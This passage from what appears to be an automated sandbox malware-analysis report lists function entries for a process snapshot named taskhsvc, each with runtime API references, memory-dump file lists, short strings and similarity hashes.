                                          • Part of subcall function 00CB40CE: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,00E40712,?,00C6B8C3), ref: 00CB416C
                                        • abort.MSVCRT ref: 00CB348F
                                        • __stack_chk_fail.LIBSSP-0 ref: 00CB3545
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_failabort
                                        • String ID: `r$authority$mirror$pd
                                        • API String ID: 3276312271-176802504
                                        • Opcode ID: 6d6814877ef19107276c2f0e40fc9f8054808ed17cc4f07cc221416ac40b08ba
                                        • Instruction ID: 626e5c291f21385dc86e1988804065d4741312a808e0f7a6b0fa4b583ff1f368
                                        • Opcode Fuzzy Hash: 6d6814877ef19107276c2f0e40fc9f8054808ed17cc4f07cc221416ac40b08ba
                                        • Instruction Fuzzy Hash: 1F4160B49083099FCB40EFA8C1856AEBBF0BF48314F519829E998E7341D774DA449F62
                                        Function 00CDF474 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 477stringCOMMON
                                        Download Yara Rule
                                        APIs
                                        • abort.MSVCRT ref: 00CDF514
                                        • strlen.MSVCRT ref: 00CDF53D
                                        • __stack_chk_fail.LIBSSP-0 ref: 00CDFC98
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        • memchr.MSVCRT ref: 00CDF571
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$strrchr$abortmemchrstrlen
                                        • String ID: P
                                        • API String ID: 2953708469-3854512745
                                        • Opcode ID: db3925392eadbe09dd954a4c9799d6e565ccd42e881a150511e3e48be88ef39e
                                        • Instruction ID: ab8bcd50db1f3b34b8a5433475aac538fc672ca1683a2a455d993edd20043546
                                        • Opcode Fuzzy Hash: db3925392eadbe09dd954a4c9799d6e565ccd42e881a150511e3e48be88ef39e
                                        • Instruction Fuzzy Hash: 7432E274A056288FDB20CF18C889B89B7F1FB88314F2486A9E559EB350E374DE85DF45
                                        Function 00D1683A Relevance: 9.1, APIs: 6, Instructions: 113stringCOMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                          • Part of subcall function 00D159C4: _open.MSVCRT ref: 00D15A44
                                          • Part of subcall function 00D159C4: __stack_chk_fail.LIBSSP-0 ref: 00D15A5A
                                        • strerror.MSVCRT ref: 00D168C0
                                        • _lseek.MSVCRT ref: 00D16919
                                        • _locking.MSVCRT ref: 00D16944
                                        • strerror.MSVCRT ref: 00D16972
                                        • _close.MSVCRT ref: 00D169B7
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D169FB
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$strerror$_close_locking_lseek_open
                                        • String ID:
                                        • API String ID: 2717617813-0
                                        • Opcode ID: fcbaa0ed5263fc1697b0bb3b2a54f362bc35388812256412f9b112b2bec81e52
                                        • Instruction ID: daeeff164582a981bb801378edbc84eec2d5c6581ef824e2d8fdd490e217d799
                                        • Opcode Fuzzy Hash: fcbaa0ed5263fc1697b0bb3b2a54f362bc35388812256412f9b112b2bec81e52
                                        • Instruction Fuzzy Hash: D65192B4A082059FD740DFA8D5857AEBBF0FB89304F118829E598EB351D774E984CF62
                                        Function 00BD4235 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 190COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00C771A6: time.MSVCRT ref: 00C771C3
                                          • Part of subcall function 00C771A6: abort.MSVCRT ref: 00C77205
                                          • Part of subcall function 00C771A6: __stack_chk_fail.LIBSSP-0 ref: 00C77222
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BD4533
                                          • Part of subcall function 00BD2FEC: abort.MSVCRT ref: 00BD3042
                                          • Part of subcall function 00BD2FEC: __stack_chk_fail.LIBSSP-0 ref: 00BD3055
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abort$time
                                        • String ID: $<$backward$forward
                                        • API String ID: 1103635081-2489722373
                                        • Opcode ID: 65dc6009cc55fe9df15b4c86a139085aa385db7bed50f71ea59994f7ecf3e263
                                        • Instruction ID: b943af2ea94dd57522c0f86534c27f234abc3174b155b7faa9b300a87b35b1ad
                                        • Opcode Fuzzy Hash: 65dc6009cc55fe9df15b4c86a139085aa385db7bed50f71ea59994f7ecf3e263
                                        • Instruction Fuzzy Hash: 4691C8B09083459FDB00EF68C4856ADFBF0FF44314F0589AAE598AB342E774D9849B66
                                        Function 00CE6A4B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94COMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
